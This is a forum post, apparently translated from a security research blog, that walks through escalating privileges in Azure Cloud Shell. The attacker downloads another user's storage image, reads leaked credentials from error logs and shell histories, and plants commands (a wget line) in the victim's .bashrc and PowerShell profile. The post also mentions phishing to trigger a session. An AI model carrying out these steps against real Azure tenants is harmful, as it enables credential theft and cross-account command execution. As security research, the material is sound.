• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

Azure权限提升漏洞


This Wind

Recommended Posts

默认情况下,Azure订阅用户可以访问订阅中的所有存储账户。这些存储账户中包含的Azure Cloud Shell存储文件(Linux主目录)中可能会含有敏感信息。通过修改这些Cloud Shell文件,攻击者可以在其他用户的Cloud Shell会话中执行命令,这会导致跨账户的命令执行和权限提升。

简介

Azure Cloud Shell (Bash或PowerShell)是管理Azure资源的一种很方便的方式,但在渗透测试过程中也可能会成为敏感数据和权限提升的潜在源头。Azure Cloud Shell允许用户管理Azure中任意位置的资源。包括shell.azure.comAzure mobile app 和Microsoft Terminal application 。

Azure权限提升漏洞

为了保持登陆后的持续体验,Cloud Shell服务会将文件保持在订阅的Azure Storage存储账户中。Cloud Shell会用选择的存储账户来进行配置,真实的文件会在存储账户的File Share Service服务之下。如果使用的是Cloud Shell默认生成的存储账户,前缀应该是cs。

Azure权限提升漏洞

Cloud Shell文件可以做什么?

假设我们黑掉了一个有读写cloud shell File Shares权限的AzureAD账户。这类账户一般是订阅中的贡献账户,但也可能是对Storage Accounts账户有特殊贡献的用户。

默认情况下,所有的订阅账户都有读写Storage Accounts的权限,除非被额外限制了。

有了这些权限就可以从Cloud Shell目录中下载可用文件了,包括acc_ACCT.img文件。如果在相同Storage Account中,有多个用户的Cloud Shell实例,在Storage Account中就会有多个文件夹。攻击者可以选择想要攻击的账户(john),然后下载该账户的IMG文件。该文件一般大小是5G,所以下载需要1分钟。

Azure权限提升漏洞

该IMG文件是一个EXT2文件系统,所以可以在Linux系统上挂载该文件系统。挂载成功后,就会有2个路径。

信息泄露

如果Cloud Shell是真实使用的,那么操作该shell的用户就有机会在命令中制造一些错误。如果这些错误在Azure PowerShell cmdlet中,引发的错误日志就会在IMG文件系统的.Azure文件夹中。

NewAzVM cmdlet是有漏洞的,最终会为新虚拟机的本地管理员账户记录登陆凭证。在本例中,研究人员尝试创建一个名字不一致的虚拟机,这会导致记录一个明文密码。

PS Azure:\> grep -b5 -a5 Password .Azure/ErrorRecords/New-AzVM_2019-10-18-T21-39-25-103.log
103341-      }
103349-    },
103356-    "osProfile": {
103375-      "computerName": "asdfghjkllkjhgfdasqweryuioasdgkjalsdfjksasdf",
103445-      "adminUsername": "netspi",
103478:      "adminPassword": "Cleartext?",
103515-      "windowsConfiguration": {}
103548-    },
103555-    "networkProfile": {
103579-      "networkInterfaces": [
103608-        {

进一步分析Cloud Shell IMG文件,查看Azure/ErrorRecords文件中的敏感信息,会发现一些有用的东西。

此外,命令历史文件中也可能会有一些有意义的信息:

.bash_history

.local/share/powershell/PSReadLine/ConsoleHost_history.txt

跨账户命令执行

假设我们黑掉了Bob的账户,而Bob是订阅中的贡献者,与Alice的账户贡献订阅内容。Alice是订阅的所有者,也是Azure租户的全局管理员。Alice是Cloud Shell用户,而且在Bob工作的订阅上有一个实例。

Azure权限提升漏洞

因为bob是订阅的贡献者,因此有权限下载任意的cloud shell .IMG文件,包括Alice的acc_alice.img。一旦下载成功,Bob就可以在Linux上上挂载该IMG文件,并将要运行的命令添加到以下2个文件中:

.bashrc
/home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1

研究人员下载了MicroBurst 到Cloud Shell作为POC的证明:

$ echo 'wget https://github.com/NetSPI/MicroBurst/archive/master.zip' >> .bashrc
$ echo 'wget https://github.com/NetSPI/MicroBurst/archive/master.zip' >> /home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1

Bob将攻击命令添加后,解挂载了IMG文件,然后上传到Azure Storage Account账户中。在上传文件时,确保勾选了覆盖已经存在的文件框。

上传完成后,Cloud Shell环境就可以用于攻击了。Alice账户启动的下一个Cloud Shell实例会在Alice账户环境下运行添加的命令。

在Azure Linux虚拟机上挂载该文件也可以完成同样的攻击。

实例POC

将这两个文件都修改为echo hello world。通过修改.bashrc和PowerShell Profile文件,要确保命令会在与Cloud Shell类型无关的情况下运行。

Azure权限提升漏洞

研究人员建议用户查看Cloud Shell目录的.azure/azureProfile.json文件。如果目标用户没有使用Cloud Shell,到https://shell.azure.com/ 的钓鱼邮件也可以让用户初始化一个Cloud Shell会话。

本文翻译自:https://blog.netspi.com/attacking-azure-cloud-shell/ 原文:https://www.4hou.com/vulnerable/22072.html
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now